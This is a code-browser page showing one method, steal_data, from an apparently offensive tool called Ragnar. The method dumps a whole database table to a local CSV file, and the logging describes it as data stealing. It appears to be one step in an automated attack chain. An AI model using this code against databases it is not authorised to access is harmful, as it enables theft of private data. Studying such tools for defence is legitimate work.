MCPcopy Create free account
hub / github.com/PierreGode/Ragnar / steal_data

Method steal_data

actions/steal_data_sql.py:72–86  ·  view source on GitHub ↗

Download data from the table in the database to a local file.

(self, engine, table, schema, local_dir)

Source from the content-addressed store, hash-verified

70 return []
71
72 def steal_data(self, engine, table, schema, local_dir):
73 """
74 Download data from the table in the database to a local file.
75 """
76 try:
77 if self.shared_data.orchestrator_should_exit:
78 logger.info("Data stealing process interrupted due to orchestrator exit.")
79 return
80 query = f"SELECT * FROM {schema}.{table}"
81 df = pd.read_sql(query, engine)
82 local_file_path = os.path.join(local_dir, f"{schema}_{table}.csv")
83 df.to_csv(local_file_path, index=False)
84 logger.success(f"Downloaded data from table {schema}.{table} to {local_file_path}")
85 except Exception as e:
86 logger.error(f"Error downloading data from table {schema}.{table}: {e}")
87
88 def execute(self, ip, port, row, status_key):
89 """

Callers 1

executeMethod · 0.95

Calls 3

infoMethod · 0.80
successMethod · 0.80
errorMethod · 0.80

Tested by

no test coverage detected